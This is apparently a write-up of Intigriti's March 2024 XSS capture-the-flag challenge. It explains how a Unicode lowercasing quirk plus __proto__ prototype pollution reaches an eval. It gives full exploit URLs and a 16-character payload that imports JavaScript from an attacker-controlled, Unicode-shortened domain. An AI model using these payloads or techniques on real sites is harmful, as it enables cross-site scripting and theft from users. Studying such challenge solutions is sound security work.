challenge-0324.intigriti.io Writeup

Ivars Vids
3 min readMar 27, 2024

Lets dig in the challenge. First of all we need to understand our enemy (challenge). How bad it looks from HTTP headers point of view.

⬆️ No security related headers. That's good. Now lets check security related HTML tags.

⬆️ Also nothing!

Script analysis

    const urlParams = new URLSearchParams(window.location.search);

const nameParam = urlParams.get("setName");
const contactParam = urlParams.get("setContact");
const valueParam = urlParams.get("setValue");
const tokenParam = urlParams.get("setToken");
const runContactInfo = urlParams.get("runContactInfo");
const runTokenInfo = urlParams.get("runTokenInfo");

if (nameParam && contactParam && valueParam) {
handleInputName(nameParam, contactParam, valueParam);
}

if (tokenParam) {
handleInputToken(tokenParam);
}

if (runContactInfo) {
runCmdName('alert');
}

if (runTokenInfo) {
runCmdToken('alert');
}

⬆️ This looks like an entry point where we can set all values name, contact, value and token.

    function runCmdName(cmd) {
...
eval(`${cmd}('Name: ' + name + '\\nContact: ' + contact + '\\nValue: ' + value)`);
}

⬆️ Looks safe. Because when eval is called there are variables no values.

    function runCmdToken(cmd) {
if (!user['token'] || user['token'].length != 32) {
return;
}
var str = `${user['token']}${cmd}(hash)`.toLowerCase();
var hash = str.slice(0, 32);
var cmd = str.slice(32);
eval(cmd);
}

⬆️ Looks better:
* user['token'] — need to be 32 characters long.
* Then it will be converted to string type and converted to lower case. Wait… something similar I have seen in the past, but there was toUpperCase.

Finding the proper character

⬇️ We will search for Unicode char which after toLowerCase() will be longer than 1 character.

for (x=0; x< 65536; x++){
if (String.fromCharCode(x).toLowerCase().length > 1) console.log(x)
}

And the result is 304 which looks like İ. There are more after 65536.

First attempt to solve

Lets set the values and check what will happen:

https://challenge-0324.intigriti.io/challenge/index.html?setName=name&setContact=token&setValue=İİİİİİİİİİİİİİİİalert(1337)//xxx&runTokenInfo=1

⬇️ Oh, I messed something up as usual

Second attempt to solve

We can set prototype for user object with __proto__ property.

https://challenge-0324.intigriti.io/challenge/index.html?setName=__proto__&setContact=token&setValue=İİİİİİİİİİİİİİİİalert(1337)//xxx&runTokenInfo=1

And we have an alert with 1337. But that does not feel right, we need to get proper XSS!

Proper XSS

So we have 16 chars to work with. The shortest payload I can think of includes import.
* import — 6 chars, 10 left
* () — 2 more = 8, 8 left
* ; — 1 to fix syntax, 7 left

7 chars is enough for '//⑭.₨' (why and how?) — sadly 14.rs provides wrong content type text/html, but browser expects text/javascript.

I have my own secret domain which can be shortened to 4 characters after domain Unicode magic. Lets pretend that my domain is zz.kk, it can be shortened to zz.㏍.
* zz.㏍ — 4 chars domain name, 3 left for string like wrapper
* /…/ — 2 chars for regex, 1 left for same protocol
* \ — one char we can put in regex, 0 left. Browser will convers \ to / for URLs.

In the result when regex is converted to string we have regular expression with escaped \ character, but who cares, browser will understand anyway.

16 character payload

import(/\zz.㏍/);

⬆️ This code snippet will execute import('/\\zz.㏍/');, and the browser will interpret it as import('///zz.kk/');import('https://zz.kk/');.

Final payload (will not work because I do not want to disclose my secret domain name)

https://challenge-0324.intigriti.io/challenge/index.html?setName=__proto__&setContact=token&setValue=İİİİİİİİİİİİİİİİimport(/\zz.㏍/);&runTokenInfo=1

Extra

I did not tested, since I do not have such domain, but it should work with this challenge using Internationalized domain.

for example:

import(/\ž.be/);import('https://xn--jha.be/')

And we can also combine both domain name techniques together:
import('//ž.℡')import('https://xn--jha.tel/')

--

--